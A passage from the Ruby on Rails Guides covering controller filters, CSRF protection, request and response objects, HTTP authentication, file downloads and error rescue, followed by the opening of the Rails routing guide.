After filters are similar to before filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, after filters cannot stop the action from running.

Around filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.

For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:

```
class ChangesController < ActionController::Base
  around_filter :wrap_in_transaction, :only => :show

  private

  def wrap_in_transaction
    ActiveRecord::Base.transaction do
      begin
        yield
      ensure
        raise ActiveRecord::Rollback
      end
    end
  end
end
```

Note that an around filter wraps also rendering. In particular, if in the example above the view itself reads from the database via a scope or whatever, it will do so within the transaction and thus present the data to preview.

They can choose not to yield and build the response themselves, in which case the action is not run.

7.2 Other Ways to Use Filters

While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.

The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block:

```
class ApplicationController < ActionController::Base
  before_filter do |controller|
    redirect_to new_login_url unless controller.send(:logged_in?)
  end
end
```

Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.

The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:

```
class ApplicationController < ActionController::Base
  before_filter LoginFilter
end

class LoginFilter
```

```
class LoginFilter
  def self.filter(controller)
    unless controller.send(:logged_in?)
      controller.flash[:error] = "You must be logged in"
      controller.redirect_to controller.new_login_url
    end
  end
end
```

Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action.

8 Request Forgery Protection

Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.

The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.

The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.

If you generate a form like this:

```
<%= form_for @user do |f| %>
  <%= f.text_field :username %>
  <%= f.text_field :password %>
<% end %>
```

You will see how the token gets added as a hidden field:

```
<form accept-charset="UTF-8" action="/users/1" method="post">
<input type="hidden"
       value="67250ab105eb5ad10851c00a5621854a23af5489"
       name="authenticity_token"/>
<!-- fields -->
</form>
```

Rails adds this token to every form that's generated using the **form helpers**, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:

The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.

The **Security Guide** has more about this and a lot of other security-related issues that you should be aware of when developing a web application.

9 The Request and Response Objects

In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `AbstractRequest` and the `response` method returns a response object representing what is going to be sent back to the client.

9.1 The `request` Object

The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the **API documentation**. Among the properties that you can access on this object are:

Property of `request`	Purpose
host	The hostname used for this request.
domain(n=2)	The hostname's first n segments, starting from the right (the TLD).
format	The content type requested by the client.
method	The HTTP method used for the request.
get?, post?, put?, delete?, head?	Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.

headers	Returns a hash containing the headers associated with the request.
port	The port number (integer) used for the request.
protocol	Returns a string containing the protocol used plus “://”, for example “http://”.
query_string	The query string part of the URL, i.e., everything after “?”.
remote_ip	The IP address of the client.
url	The entire URL used for the request.

9.1.1 `path_parameters`, `query_parameters`, and `request_parameters`

Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.

9.2 The `response` Object

The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes – like in an after filter – it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.

Property of `response`	Purpose
body	This is the string of data being sent back to the client. This is most often HTML.
status	The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
location	The URL the client is being redirected to, if any.
content_type	The content type of the response.
charset	The character set being used for the response. Default is “utf-8”.
headers	Headers used for the response.

9.2.1 Setting Custom Headers

If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to `response.headers` this way:

```
response.headers["Content-Type"] = "application/pdf"
```

10 HTTP Authentications

Rails comes with two built-in HTTP authentication mechanisms:

- Basic Authentication
- Digest Authentication

10.1 HTTP Basic Authentication

HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser’s HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`.

```
class AdminController < ApplicationController
  http_basic_authenticate_with :name => "humbaba", :password => "5baa61e4"
end
```

With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.

10.2 HTTP Digest Authentication

HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`.

```
class AdminController < ApplicationController
  USERS = { "lifo" => "world" }
```

```
  USERS = { "lifo" => "world" }

  before_filter :authenticate

  private

  def authenticate
    authenticate_or_request_with_http_digest do |username|
      USERS[username]
    end
  end
end
```

As seen in the example above, the `authenticate_or_request_with_http_digest` block takes only one argument – the username. And the block returns the password. Returning `false` or `nil` from the `authenticate_or_request_with_http_digest` will cause authentication failure.

11 Streaming and File Downloads

Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, which will both stream data to the client. `send_file` is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.

To stream data to the client, use `send_data`:

```
require "prawn"
class ClientsController < ApplicationController
  # Generates a PDF document with information on the client and
  # returns it. The user will get the PDF as a file download.
  def download_pdf
    client = Client.find(params[:id])
    send_data generate_pdf(client),
              :filename => "#{client.name}.pdf",
              :type => "application/pdf"
  end

  private

  def generate_pdf(client)
    Prawn::Document.new do
      text client.name, :align => :center
      text "Address: #{client.address}"
      text "Email: #{client.email}"
    end.render
  end
end
```

The `download_pdf` action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to “inline”. The opposite and default value for this option is “attachment”.

11.1 Sending Files

If you want to send a file that already exists on disk, use the `send_file` method.

```
class ClientsController < ApplicationController
  # Stream a file that has already been generated and stored on disk.
  def download_pdf
    client = Client.find(params[:id])
    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
              :filename => "#{client.name}.pdf",
              :type => "application/pdf")
  end
end
```

This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.

If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content type is not

registered for the extension, `application/octet-stream` will be used.

Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.

It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.

11.2 RESTful Downloads

While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:

```
class ClientsController < ApplicationController
  # The user can request to receive this resource as HTML or PDF.
  def show
    @client = Client.find(params[:id])

    respond_to do |format|
      format.html
      format.pdf { render :pdf => generate_pdf(@client) }
    end
  end
end
```

In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:

```
Mime::Type.register "application/pdf", :pdf
```

Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.

Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:

```
GET /clients/1.pdf
```

12 Parameter Filtering

Rails keeps a log file for each environment in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.

```
config.filter_parameters << :password
```

13 Rescue

Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception.

Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:

13.1 The Default 500 and 404 Templates

By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.

13.2 `rescue_from`

If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.

exceptions of a certain type (or multiple types) in an entire controller and its subclasses.

When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler. The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object.

Here's how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them.

```
class ApplicationController < ActionController::Base
  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found

  private

  def record_not_found
    render :text => "404 Not Found", :status => 404
  end
end
```

Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:

```
class ApplicationController < ActionController::Base
  rescue_from User::NotAuthorized, :with => :user_not_authorized

  private

  def user_not_authorized
    flash[:error] = "You don't have access to this section."
    redirect_to :back
  end
end

class ClientsController < ApplicationController
  # Check that the user has the right authorization to access clients.
  before_filter :check_authorization

  # Note how the actions don't have to worry about all the auth stuff.
  def edit
    @client = Client.find(params[:id])
  end

  private

  # If the user is not authorized, just throw the exception.
  def check_authorization
    raise User::NotAuthorized unless current_user.admin?
  end
end
```

Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's **article** on the subject for more information.

14 Force HTTPS protocol

Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use `force_ssl` method in your controller to enforce that:

```
class DinnerController
  force_ssl
end
```

Just like the filter, you could also passing `:only` and `:except` to enforce the secure connection only to specific actions.

```
class DinnerController
  force_ssl :only => :cheeseburger
  # or
  force_ssl :except => :cheeseburger
end
```

Please note that if you found yourself adding `force_ssl` to many controllers, you may found yourself wanting to force

the whole application to use HTTPS instead. In that case, you can set the `config.force_ssl` in your environment file.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Rails Routing from the Outside In

This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:

- Understand the code in `routes.rb`
- Construct your own routes, using either the preferred resourceful style or the `match` method
- Identify what parameters to expect an action to receive
- Automatically create paths and URLs using route helpers
- Use advanced techniques such as constraints and Rack endpoints

Chapters

1. The Purpose of the Rails Router
    - Connecting URLs to Code
    - Generating Paths and URLs from Code
2. Resource Routing: the Rails Default
    - Resources on the Web
    - CRUD, Verbs, and Actions
    - Paths and URLs
    - Defining Multiple Resources at the Same Time
    - Singular Resources
    - Controller Namespaces and Routing
    - Nested Resources
    - Creating Paths and URLs From Objects
    - Adding More RESTful Actions
3. Non-Resourceful Routes
    - Bound Parameters
    - Dynamic Segments
    - Static Segments
    - The Query String
    - Defining Defaults
    - Naming Routes
    - HTTP Verb Constraints
    - Segment Constraints
    - Request-Based Constraints
    - Advanced Constraints
    - Route Globbing
    - Redirection
    - Routing to Rack Applications
    - Using `root`
4. Customizing Resourceful Routes
    - Specifying a Controller to Use
    - Specifying Constraints
    - Overriding the Named Helpers
    - Overriding the `new` and `edit` Segments
    - Prefixing the Named Route Helpers
    - Restricting the Routes Created
    - Translated Paths
    - Overriding the Singular Form
    - Using `:as` in Nested Resources
5. Inspecting and Testing Routes
    - Seeing Existing Routes with `rake`
    - Testing Routes

1 The Purpose of the Rails Router

The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.

avoiding the need to hardcode strings in your views.

1.1 Connecting URLs to Code

When your Rails application receives an incoming request

```
GET /patients/17
```

it asks the router to match it to a controller action. If the first matching route is

```
match "/patients/:id" => "patients#show"
```

the request is dispatched to the `patients` controller's `show` action with `{ :id => "17" }` in `params`.

1.2 Generating Paths and URLs from Code

You can also generate paths and URLs. If your application contains this code:

```
@patient = Patient.find(17)
```

```
<%= link_to "Patient Record", patient_path(@patient) %>
```

The router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.

2 Resource Routing: the Rails Default

Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your `index`, `show`, `new`, `edit`, `create`, `update` and `destroy` actions, a resourceful route declares them in a single line of code.

2.1 Resources on the Web

Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as `GET`, `POST`, `PUT` and `DELETE`. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.

When your Rails application receives an incoming request for

```
DELETE /photos/17
```

it asks the router to map it to a controller action. If the first matching route is

```
resources :photos
```

Rails would dispatch that request to the `destroy` method on the `photos` controller with `{ :id => "17" }` in `params`.

2.2 CRUD, Verbs, and Actions

In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as

```
resources :photos
```

creates seven different routes in your application, all mapping to the `Photos` controller:

HTTP Verb	Path	action	used for
GET	/photos	index	display a list of all photos
GET	/photos/new	new	return an HTML form for creating a new photo
POST	/photos	create	create a new photo
GET	/photos/:id	show	display a specific photo
GET	/photos/:id/edit	edit	return an HTML form for editing a photo
PUT	/photos/:id	update	update a specific photo
DELETE	/photos/:id	destroy	delete a specific photo

Rails routes are matched in the order they are specified, so if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. To fix this, move the `get` line **above** the `resources` line so that it is matched first.

2.3 Paths and URLs

Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of `resources :photos`:

- `photos_path` returns `/photos`
- `new_photo_path` returns `/photos/new`
- `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`)
- `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`)

Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port and path prefix.

Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.

2.4 Defining Multiple Resources at the Same Time

If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to `resources`:

```
resources :photos, :books, :videos
```

This works exactly the same as

```
resources :photos
resources :books
resources :videos
```

2.5 Singular Resources

Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like `/profile` to always show the profile of the currently logged in user. In this case, you can use a singular resource to map `/profile` (rather than `/profile/:id`) to the `show` action.

```
match "profile" => "users#show"
```

This resourceful route

```
resource :geocoder
```

creates six different routes in your application, all mapping to the `Geocoders` controller:

HTTP Verb	Path	action	used for
GET	/geocoder/new	new	return an HTML form for creating the geocoder
POST	/geocoder	create	create the new geocoder
GET	/geocoder	show	display the one and only geocoder resource
GET	/geocoder/edit	edit	return an HTML form for editing the geocoder
PUT	/geocoder	update	update the one and only geocoder resource
DELETE	/geocoder	destroy	delete the geocoder resource

Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers.

A singular resourceful route generates these helpers:

- `new_geocoder_path` returns `/geocoder/new`
- `edit_geocoder_path` returns `/geocoder/edit`
- `geocoder_path` returns `/geocoder`

As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix.

2.6 Controller Namespaces and Routing

You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of

administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router:

```
namespace :admin do
  resources :posts, :comments
end
```

This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create:

HTTP Verb	Path	action	named helper
GET	/admin/posts	index	admin_posts_path
GET	/admin/posts/new	new	new_admin_post_path
POST	/admin/posts	create	admin_posts_path
GET	/admin/posts/:id	show	admin_post_path(:id)
GET	/admin/posts/:id/edit	edit	edit_admin_post_path(:id)
PUT	/admin/posts/:id	update	admin_post_path(:id)
DELETE	/admin/posts/:id	destroy	admin_post_path(:id)

If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use

```
scope :module => "admin" do
  resources :posts, :comments
end
```

or, for a single case

```
resources :posts, :module => "admin"
```

If you want to route `/admin/posts` to `PostsController` (without the `Admin::` module prefix), you could use

```
scope "/admin" do
  resources :posts, :comments
end
```

or, for a single case

```
resources :posts, :path => "/admin/posts"
```

In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`:

HTTP Verb	Path	action	named helper
GET	/admin/posts	index	posts_path
GET	/admin/posts/new	new	new_post_path
POST	/admin/posts	create	posts_path
GET	/admin/posts/:id	show	post_path(:id)
GET	/admin/posts/:id/edit	edit	edit_post_path(:id)
PUT	/admin/posts/:id	update	post_path(:id)
DELETE	/admin/posts/:id	destroy	post_path(:id)

2.7 Nested Resources

It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:

```
class Magazine < ActiveRecord::Base
  has_many :ads
end

class Ad < ActiveRecord::Base
  belongs_to :magazine
end
```

Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:

```
resources :magazines do
  resources :ads
end
```

In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:

HTTP Verb	Path	action	used for
GET	/magazines/:id/ads	index	display a list of all ads for a specific magazine
GET	/magazines/:id/ads/new	new	return an HTML form for creating a new ad belonging to a specific magazine
POST	/magazines/:id/ads	create	create a new ad belonging to a specific magazine
GET	/magazines/:id/ads/:id	show	display a specific ad belonging to a specific magazine
GET	/magazines/:id/ads/:id/edit	edit	return an HTML form for editing an ad belonging to a specific magazine
PUT	/magazines/:id/ads/:id	update	update a specific ad belonging to a specific magazine
DELETE	/magazines/:id/ads/:id	destroy	delete a specific ad belonging to a specific magazine

This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).

2.7.1 Limits to Nesting

You can nest resources within other nested resources if you like. For example:

```
resources :publishers do
  resources :magazines do
    resources :photos
  end
end
```

Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as

```
/publishers/1/magazines/2/photos/3
```

The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular **article** by Jamis Buck proposes a rule of thumb for good Rails design:

Resources should never be nested more than 1 level deep.

2.8 Creating Paths and URLs From Objects

In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:

```
resources :magazines do
  resources :ads
end
```

When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad` instead of the numeric IDs.

```
<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
```

You can also use `url_for` with a set of objects, and Rails will automatically determine which route you want:

```
<%= link_to "Ad details", url_for([@magazine, @ad]) %>
```

In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. In helpers like `link_to`, you can specify just the object in place of the full `url_for` call:

```
<%= link_to "Ad details", [@magazine, @ad] %>
```

If you wanted to link to just a magazine, you could leave out the `Array`:

```
<%= link_to "Magazine details", @magazine %>
```

This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.

2.9 Adding More RESTful Actions

You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.

2.9.1 Adding Member Routes

To add a member route, just add a `member` block into the resource block:

```
resources :photos do
  member do
    get 'preview'
  end
end
```

This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.

Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block:

```
resources :photos do
  get 'preview', :on => :member
end
```

2.9.2 Adding Collection Routes

To add a route to the collection:

```
resources :photos do
  collection do
    get 'search'
  end
end
```

This will enable Rails to recognize paths such as `/photos/search` with GET, and route to the `search` action of `PhotosController`. It will also create the `search_photos_url` and `search_photos_path` route helpers.

Just as with member routes, you can pass `:on` to a route:

```
resources :photos do
  get 'search', :on => :collection
end
```

2.9.3 A Note of Caution

If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.

3 Non-Resourceful Routes

In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.

While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.

In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.

3.1 Bound Parameters

When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request.

Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider one of the default Rails routes:

```
match ':controller(/:action(/:id))'
```

If an incoming request of `/photos/show/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `show` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#index`, since `:action` and `:id` are optional parameters, denoted by parentheses.

3.2 Dynamic Segments

You can set up as many dynamic segments within a regular route as you like. Anything other than `:controller` or `:action` will be available to the action as part of `params`. If you set up this route:

```
match ':controller/:action/:id/:user_id'
```

An incoming path of `/photos/show/1/2` will be dispatched to the `show` action of the `PhotosController`. `params[:id]` will be `"1"`, and `params[:user_id]` will be `"2"`.

You can't use `namespace` or `:module` with a `:controller` path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:

```
match ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/
```

By default dynamic segments don't accept dots – this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment add a constraint which overrides this – for example `:id => /[^\/]+/` allows anything except a slash.

3.3 Static Segments

You can specify static segments when creating a route:

```
match ':controller/:action/:id/with_user/:user_id'
```

This route would respond to paths such as `/photos/show/1/with_user/2`. In this case, `params` would be `{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }`.

3.4 The Query String

The `params` will also include any parameters from the query string. For example, with this route:

```
match ':controller/:action/:id'
```

An incoming path of `/photos/show/1?user_id=2` will be dispatched to the `show` action of the `Photos` controller. `params` will be `{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }`.

3.5 Defining Defaults

You do not need to explicitly use the `:controller` and `:action` symbols within a route. You can supply them as defaults:

```
match 'photos/:id' => 'photos#show'
```

With this route, Rails will match an incoming path of `/photos/12` to the `show` action of `PhotosController`.

You can also define other defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example:

```
match 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' }
```

Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`.

3.6 Naming Routes

You can specify a name for any route using the `:as` option.

```
match 'exit' => 'sessions#destroy', :as => :logout
```

This will create `logout_path` and `logout_url` as named helpers in your application. Calling `logout_path` will return `/exit`

3.7 HTTP Verb Constraints

You can use the `:via` option to constrain the request to one or more HTTP methods:

```
match 'photos/show' => 'photos#show', :via => :get
```

There is a shorthand version of this as well:

```
get 'photos/show'
```

You can also permit more than one verb to a single route:

```
match 'photos/show' => 'photos#show', :via => [:get, :post]
```

3.8 Segment Constraints

You can use the `:constraints` option to enforce a format for a dynamic segment:

```
match 'photos/:id' => 'photos#show', :constraints => { :id => /[A-Z]\d{5}/ }
```

This route would match paths such as `/photos/A12345`. You can more succinctly express the same route this way:

```
match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
```

`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:

```
match '/:id' => 'posts#show', :constraints => {:id => /^\d/}
```

However, note that you don't need to use anchors because all routes are anchored at the start.

For example, the following routes would allow for `posts` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:

```
match '/:id' => 'posts#show', :constraints => { :id => /\d.+/ }
match '/:username' => 'users#show'
```

3.9 Request-Based Constraints

You can also constrain a route based on any method on the **Request** object that returns a `String`.

You specify a request-based constraint the same way that you specify a segment constraint:

```
match "photos", :constraints => {:subdomain => "admin"}
```

You can also specify constraints in a block form:

```
namespace :admin do
  constraints :subdomain => "admin" do
    resources :photos
  end
end
```

3.10 Advanced Constraints

If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:

```
class BlacklistConstraint
  def initialize
    @ips = Blacklist.retrieve_ips
  end

  def matches?(request)
    @ips.include?(request.remote_ip)
  end
end
```

```
end

TwitterClone::Application.routes.draw do
  match "*path" => "blacklist#index",
    :constraints => BlacklistConstraint.new
end
```

3.11 Route Globbing

Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example

```
match 'photos/*other' => 'photos#unknown'
```

This route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`.

Wildcard segments can occur anywhere in a route. For example,

```
match 'books/*section/:title' => 'books#show'
```

would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `"some/section"`, and `params[:title]` equals `"last-words-a-memoir"`.

Technically a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example,

```
match '*a/foo/*b' => 'test#index'
```

would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `"zoo/woo"`, and `params[:b]` equals `"bar/baz"`.

Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route:

```
match '*pages' => 'pages#show'
```

By requesting `"/foo/bar.json"`, your `params[:pages]` will be equals to `"foo/bar"` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `:format => false` like this:

```
match '*pages' => 'pages#show', :format => false
```

If you want to make the format segment mandatory, so it cannot be omitted, you can supply `:format => true` like this:

```
match '*pages' => 'pages#show', :format => true
```

3.12 Redirection

You can redirect any path to another path using the `redirect` helper in your router:

```
match "/stories" => redirect("/posts")
```

You can also reuse dynamic segments from the match in the path to redirect to:

```
match "/stories/:name" => redirect("/posts/%{name}")
```

You can also provide a block to redirect, which receives the params and (optionally) the request object:

```
match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" }
match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" }
```

Please note that this redirection is a 301 “Moved Permanently” redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.

In all of these cases, if you don’t provide the leading host (`http://www.example.com`), Rails will take those details from the current request.

3.13 Routing to Rack Applications

Instead of a String, like `"posts#index"`, which corresponds to the `index` action in the `PostsController`, you can specify any **Rack application** as the endpoint for a matcher.

```
match "/application.js" => Sprockets
```

As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action.

For the curious, `"posts#index"` actually expands out to `PostsController.action(:index)`, which returns a valid Rack application.

3.14 Using `root`

You can specify what Rails should route `"/"` to with the `root` method:

```
root :to => 'pages#main'
```

You should put the `root` route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the `public/index.html` file for the root route to take effect.

4 Customizing Resourceful Routes

While the default routes and helpers generated by `resources :posts` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.

4.1 Specifying a Controller to Use

The `:controller` option lets you explicitly specify a controller to use for the resource. For example:

```
resources :photos, :controller => "images"
```

